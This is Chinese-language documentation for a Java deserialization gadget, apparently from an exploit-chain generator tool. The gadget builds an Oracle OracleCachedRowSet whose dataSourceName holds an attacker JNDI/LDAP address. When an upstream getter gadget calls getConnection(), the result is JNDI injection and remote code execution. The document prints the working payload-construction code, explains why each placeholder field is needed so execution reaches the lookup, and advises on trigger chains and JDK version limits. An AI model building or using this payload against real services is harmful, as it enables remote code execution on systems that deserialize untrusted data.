- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:
oracle(Oracle JDBC 驱动,含oracle.jdbc.rowset.OracleCachedRowSet)
构造一个 oracle.jdbc.rowset.OracleCachedRowSet,把 dataSourceName 字段设为攻击者的 JNDI 地址。当上游 Getter 型 gadget 触发它的 getConnection() 时,OracleCachedRowSet 会对 dataSourceName 执行 JNDI 查找(lookup),从而实现 JNDI 注入 → 远程加载工厂类 → RCE。是 DataSource getter 触发链的终点型 sink。
- 入口
tags:DataSourceChains、Getter、END—— 承接 DataSource 利用链;触发点为 getter(getConnection);END表示自成收尾环。 - 衔接
nextTags:无 —— JNDI 地址来自自身jndiUrl参数,不依赖内层链。 excludes:无。
private final String getterMethodName = "getConnection";
private final String getterPropertyName = "connection";
@Param(name="jndi地址", description="eg: [rmi|ldap]://host:port/obj")
public String jndiUrl = "ldap://127.0.0.1:1389/x";
public Object getObject() throws Exception {
Object datasource = Reflections.newInstance("oracle.jdbc.rowset.OracleCachedRowSet");
Reflections.setFieldValue(datasource, "dataSourceName", this.jndiUrl); // JNDI 地址
Vector<String> v1 = new Vector<>();
v1.add(0, "111");
try {
Reflections.setFieldValue(datasource, "metaData", new String[]{"111"});
Reflections.setFieldValue(datasource, "matchColumnNames", v1);
Reflections.setFieldValue(datasource, "matchColumnIndexes", v1);
Reflections.setFieldValue(datasource, "monitorLock", null);
} catch (Exception e) {
Reflections.setFieldValue(datasource, "metaData", new String[]{"111"});
Reflections.setFieldValue(datasource, "matchColumnNames", v1);
Reflections.setFieldValue(datasource, "matchColumnIndexes", v1);
}
return datasource;
}
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class);
context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection");
context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection");
return this.getObject();
}逐段解释:
- JNDI 触发点:
dataSourceName = jndiUrl。OracleCachedRowSet.getConnection()在没有显式用户名/连接时会走「从dataSourceName做 JNDI 查找拿 DataSource」的分支,对该地址执行InitialContext.lookup(jndiUrl)——即经典 JNDI 注入。默认ldap://127.0.0.1:1389/x指向攻击者的 LDAP/RMI 服务。 - 占位字段的作用:
metaData、matchColumnNames、matchColumnIndexes、monitorLock均被填入无害占位值("111"/ 单元素 Vector /null)。这些字段在getConnection之前的对象状态检查或反序列化还原路径中若为null会抛 NPE,预先填充可保证执行流顺利到达 JNDI 查找。try/catch兜底:monitorLock在部分驱动版本不存在时,退化为只设前三个字段。 invoke的 context 注入:与 MysqlDataSource 相同的三件套(SUPER_CLASS_NAME_KEY=DataSource、SPECIAL_METHOD_NAME_KEY="getConnection"、GETTER_PARAM_NAME_KEY="connection"),告知上游 Getter 触发器在反序列化时调用本对象的getConnection()。本类是END,invoke不调用chain.doCreate。
元数据
description提到oracle.jdbc.rowset.OracleJDBCRowSet且「fj 可能触发不到 getConnection 就退出了,用 cb 最好」——即:Fastjson 反序列化对 getter 的调用较受限,可能未走到getConnection便结束;用 CommonsBeanutils(cb)类的 getter 触发更可靠。注意实际实例化的类是OracleCachedRowSet(与描述文字的OracleJDBCRowSet略有出入,以代码为准)。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
jndiUrl |
jndi地址 | JNDI 查找地址,格式 `[rmi | ldap]://host:port/obj` | ldap://127.0.0.1:1389/x |
- 依赖 Oracle JDBC 驱动(提供
oracle.jdbc.rowset.OracleCachedRowSet)。 - 危害为 JNDI 注入,最终 RCE 受目标 JDK 的 JNDI 防护(
com.sun.jndi.ldap/rmi.object.trustURLCodebase、高版本默认关闭远程 codebase)制约;高版本 JDK 需配合本地 factory/反序列化型 JNDI 利用。 - 需上游提供
Getter触发能力,推荐配 CommonsBeanutils 系触发器而非 Fastjson。
自由构件,未直接出现在 51 条预设链中。
- 上游(提供
Getter触发,nextTags=Getter):CommonsBeanutils1、CommonsBeanutils2~5。 - 同族(DataSource getter → JNDI/JDBC 利用):MysqlDataSource、
OracleJDBCRowSet、OracleFilteredRowSet、OracleWebRowSet、OracleJoinRowSet、PostgreSqlDataSource。 - 触发原理近亲:JdbcRowSetImpl(同为 getter → JNDI lookup)。